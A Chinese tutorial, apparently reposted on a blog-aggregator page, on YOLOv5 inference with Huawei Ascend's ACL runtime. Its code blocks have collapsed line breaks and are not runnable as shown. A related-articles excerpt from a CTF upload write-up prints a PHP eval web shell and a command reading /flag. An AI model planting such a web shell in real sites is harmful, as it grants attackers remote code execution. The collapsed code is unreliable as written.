华为 Ascend 平台 YOLOv5 目标检测推理教程

1. 背景介绍

随着人工智能技术的快速发展,目标检测在智能安防、自动驾驶、工业检测等领域中扮演了重要角色。YOLOv5 是一种高效的目标检测模型,凭借其速度和精度的平衡广受欢迎。

华为 Ascend 推理框架(ACL)是 Ascend CANN 软件栈的核心组件,专为 Ascend AI 加速硬件(如 Atlas 300I)设计,可实现高性能的深度学习推理。在本文中,我们将介绍如何基于华为 Ascend ACL 推理框架对 YOLOv5 模型进行推理,包括前处理、推理核心部分以及后处理流程。

2. YOLOv5 推理流程

YOLOv5 推理流程分为三个阶段:

  1. 前处理:将输入图片调整为模型要求的格式。
  2. 推理:调用 Ascend ACL 推理框架完成推理。
  3. 后处理:对推理结果进行解析,提取检测框。

接下来,我们将逐步解析这些流程,并结合核心代码进行说明。

2.1 前处理

YOLOv5 模型需要输入固定尺寸的图片(例如 1280x1280)。为了适配输入要求,我们采用 letterbox 方法对图片进行缩放和填充,以保持图像比例不变,并将其转换为 NumPy 数组。
代码示例:

import numpy as np
from typing import Tuple
from yolov5_utils import letterboxdef preprocess(self, img: np.ndarray) -> Tuple[np.ndarray, tuple, float, float]:# 调整图像大小并填充img, ratio, (pad_w, pad_h) = letterbox(img, (self.model_width, self.model_height))img = np.ascontiguousarray(img, dtype=np.uint8)tensor = np.expand_dims(img, axis=0)  # 添加 batch 维度return tensor

关键点:

  • letterbox:对图像进行缩放和填充,确保输入尺寸与模型要求一致,同时不改变图像的宽高比例。
  • np.expand_dims:扩展图像维度,增加批量维度([batch, channels, height, width])。

2.2 推理核心(process 方法)

推理核心是整个检测流程的关键部分,包括以下几个步骤:

  1. 设置推理上下文;
  2. 将输入数据从主机内存传输到设备内存(NPU);
  3. 调用推理引擎执行推理;
  4. 将推理结果从设备内存传回主机内存;
  5. 返回推理结果。

完整代码:

import acl
import aclruntime
import numpy as np
from typing import Listdef process(self, tensor: np.ndarray) -> List[np.ndarray]:# 1. 设置推理上下文ret = acl.rt.set_context(self.context)# 2. 将输入数据封装为 Tensor,并传输到设备tensor = aclruntime.Tensor(tensor)tensor.to_device(self.device)# 3. 执行推理output_tensors = self.session.run([node.name for node in self.session.get_outputs()], [tensor])# 4. 将推理结果从设备传回主机preds = []for output in output_tensors:output.to_host()preds.append(np.array(output))return preds

关键点解析:

  1. 上下文设置
    • 使用 acl.rt.set_context(self.context) 将推理会话绑定到 Ascend NPU 的计算上下文。
    • 如果上下文未正确设置,推理调用会失败。
  2. 设备内存传输
    • 使用 aclruntime.Tensor 封装 NumPy 输入数据。
    • 调用 to_device(self.device) 将数据加载到指定设备(NPU)。
  3. 推理执行
    • 调用 self.session.run 执行推理。
    • 输入参数为模型的输出节点名称和输入数据。
  4. 结果传回主机
    • 使用 to_host() 将推理结果从设备内存传回主机内存。
    • 转换为 NumPy 数组便于后续处理。

2.3 后处理

YOLOv5 的推理结果通常是一个多维张量,包含每个候选框的边界框坐标、置信度和类别信息。为了得到最终检测框,需要进行以下处理:

  1. 非极大值抑制(NMS):过滤重叠框,保留最佳检测结果。
  2. 坐标映射:将推理结果的坐标映射回原图尺寸。
    代码示例:
from yolov5_utils import non_max_suppression, scale_coordsdef postprocess(self, preds, img, tensor):# 后处理:NMS 和坐标映射boxes = non_max_suppression(preds[0], conf_thres=self.conf_threshold, iou_thres=self.iou_threshold)[0]if boxes.size > 0:boxes[:, :4] = scale_coords(tensor.shape[1:3], boxes[:, :4], img.shape).round()return boxes

关键点:

  • non_max_suppression:过滤重叠框,避免多个框重复检测同一目标。
  • scale_coords:将推理结果的坐标从模型输入尺寸映射回原图尺寸。

2.4 检测流程整合

以下是完整的检测流程代码:

import cv2
from typing import List, Tupledef run(self, img_path: str) -> List[Tuple]:# 1. 加载输入图片img = cv2.imread(img_path)# 2. 前处理tensor = self.preprocess(img)# 3. 模型推理preds = self.process(tensor)# 4. 后处理boxes = self.postprocess(preds, img, tensor)# 返回最终检测结果return [(int(box[0]), int(box[1]), int(box[2]), int(box[3]), round(box[4], 2), self.class_names[int(box[5])])for box in boxes]

2.5 调用示例

运行以下代码对图片进行目标检测:

if __name__ == "__main__":model_path = "yolov5_model.om"class_names = ["person", "car", "bicycle", "dog", "cat", ...]  # 替换为你的类别名称detector = YOLOv5Detector(model_path=model_path, class_names=class_names)image_path = "example.jpg"boxes = detector.run(image_path)# 绘制结果并保存img = cv2.imread(image_path)for box in boxes:x1, y1, x2, y2, conf, cls_name = boxcv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 2)cv2.putText(img, f'{cls_name} {conf:.2f}', (x1, y1 - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.9, (0, 255, 0), 2)cv2.imwrite("detected_result.jpg", img)

3. 总结

本文介绍了如何基于华为 Ascend ACL 推理框架实现 YOLOv5 模型的目标检测推理流程。通过详细解析前处理、推理核心(process 函数)和后处理,展示了 Ascend 平台的推理能力和灵活性。

希望本文能为您在 Ascend 平台上的目标检测开发提供参考!如果有任何问题,欢迎留言讨论。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/6937.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

期权帮|如何利用股指期货进行对冲套利?

锦鲤三三每日分享期权知识,帮助期权新手及时有效地掌握即市趋势与新资讯! 如何利用股指期货进行对冲套利? 对冲就是通过股指期货来平衡投资组合的风险。它分为正向与反向两种策略: (1)正向对冲&#xff…

QT 中 UDP 的使用

目录 一、UDP 简介 二、QT 中 UDP 编程的基本步骤 (一)包含头文件 (二)创建 UDP 套接字对象 (三)绑定端口 (四)发送数据 (五)接收数据 三、完整示例代…

Android BitmapShader简洁实现马赛克,Kotlin(二)

Android BitmapShader简洁实现马赛克,Kotlin(二) 这一篇 Android BitmapShader简洁实现马赛克,Kotlin(一)-CSDN博客 遗留一个问题,xml定义的MyView为wrap_content的宽高,如果改成其…

分布式光纤应变监测是一种高精度、分布式的监测技术

一、土木工程领域 桥梁结构健康监测 主跨应变监测:在大跨度桥梁的主跨部分,如悬索桥的主缆、斜拉桥的斜拉索和主梁,分布式光纤应变传感器可以沿着这些关键结构部件进行铺设。通过实时监测应变情况,能够精确捕捉到车辆荷载、风荷…

uniapp的插件开发发布指南

Hbuilder创建项目 项目根目录创建uni_modules 开发组件 发布到插件市场 填写发布说明(未登录需要登录) 点击提交 在终端可以看到 发布成功! 插件市场查看

大厂案例——腾讯蓝鲸DevOps类应用的设计与实践

蓝鲸体系架构图 蓝鲸CICD应用功能架构 降低DEVOPS门槛—开发者中心 CICD应用需要的后台服务 系列阅读 12306亿级流量架构分析(史上最全)实现电商平台从业务到架构的治理体系基于主数据驱动的数据治理什么时候需要分表分库?-CSDN博客

Jetson nano 安装 PCL 指南

本指南帮助 ARM64 架构的 Jetson Nano 安装 PCL(点云库)。 安装步骤 第一步:安装依赖 在终端中运行以下命令,安装 PCL 所需的依赖: sudo apt-get update sudo apt-get install git build-essential linux-libc-dev s…

WPF基础 | WPF 基础概念全解析:布局、控件与事件

WPF基础 | WPF 基础概念全解析:布局、控件与事件 一、前言二、WPF 布局系统2.1 布局的重要性与基本原理2.2 常见布局面板2.3 布局的测量与排列过程 三、WPF 控件3.1 控件概述与分类3.2 常见控件的属性、方法与事件3.3 自定义控件 四、WPF 事件4.1 路由事件概述4.2 事…

JVM堆空间

一、堆空间的核心概述 一个JVM实例只存在一个堆内存,堆也是Java内存管理的核心区域。Java堆区在JVM启动的时候即被创建,其空间大小也就确定了。是JVM管理的最大一块内存空间。 堆内存的大小是可以调节的。堆可以处于物理上不连续的内存空间中&#xff…

【深度学习基础】多层感知机 | 数值稳定性和模型初始化

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…

数字图像处理:实验五

uu们!大家好,欢迎来到数字图像处理第五章节内容的学习,在本章中有关空间滤波的理论学习是十分重要的,所以建议大家要去用心的学习本章,在之后的传感器的相关图像采集时,不可避免的会有噪声等的影响&#xf…

CCF开源发展委员会开源供应链安全工作组2025年第1期技术研讨会顺利举行

点击蓝字 关注我们 CCF Opensource Development Committee 2025年1月17日,CCF开源发展委员会供应链安全工作组(CCF-ODC-OSS)2025年第一期技术研讨会——“大模型时代的开源供应链安全风控技术”于北京黄大年茶思屋顺利举行。本次研讨会邀请了…

如何进行市场调研?海外问卷调查有哪些类型和示例?

什么是市场研究? 市场研究的目的,就是调查消费者的行为和当时的经济趋势,帮助企业制定和调整经营理念和经营路线,通过收集和分析数据,帮助企业了解其目标市场。 市场调查是通过对潜在客户的分析,来判断品…

DX12 快速教程(4) —— 画钻石原矿

快速导航 新建项目 "004-DrawTexture"纹理贴图纹理采样纹理过滤邻近点采样双线性过滤Mipmap 多级渐远纹理三线性过滤各向异性过滤 纹理环绕LOD 细节层次 开始画钻石原矿吧加载纹理到内存中:LoadTexture什么是 WIC如何用 WIC 读取一帧图片获取图片格式并转…

FPGA实现任意角度视频旋转(二)视频90度/270度无裁剪旋转

本文主要介绍如何基于FPGA实现视频的90度/270度无裁剪旋转,旋转效果示意图如下: 为了实时对比旋转效果,采用分屏显示进行处理,左边代表旋转前的视频在屏幕中的位置,右边代表旋转后的视频在屏幕中的位置。 分屏显示的…

Blazor-选择循环语句

今天我们来说说Blazor选择语句和循环语句。 下面我们以一个简单的例子来讲解相关的语法,我已经创建好了一个Student类,以此类来进行语法的运用 因为我们需要交互性所以我们将类创建在*.client目录下 if 我们做一个学生信息的显示,Gender为…

数据结构——实验八·学生管理系统

嗨~~欢迎来到Tubishu的博客🌸如果你也是一名在校大学生,正在寻找各种编程资源,那么你就来对地方啦🌟 Tubishu是一名计算机本科生,会不定期整理和分享学习中的优质资源,希望能为你的编程之路添砖加瓦⭐&…

在 Ubuntu22.04 上安装 Splunk

ELK感觉太麻烦了,换个日志收集工具 Splunk 是一种 IT 工具,可帮助在任何设备上收集日志、分析、可视化、审计和创建报告。简单来说,它将“机器生成的数据转换为人类可读的数据”。它支持从虚拟机、网络设备、防火墙、基于 Unix 和基于 Windo…

【C++高并发服务器WebServer】-2:exec函数簇、进程控制

本文目录 一、exec函数簇介绍二、exec函数簇 一、exec函数簇介绍 exec 函数族的作用是根据指定的文件名找到可执行文件,并用它来取代调用进程的内容,换句话说,就是在调用进程内部执行一个可执行文件。 exec函数族的函数执行成功后不会返回&…

[ACTF2020 新生赛]Upload1

题目 以为是前端验证&#xff0c;试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…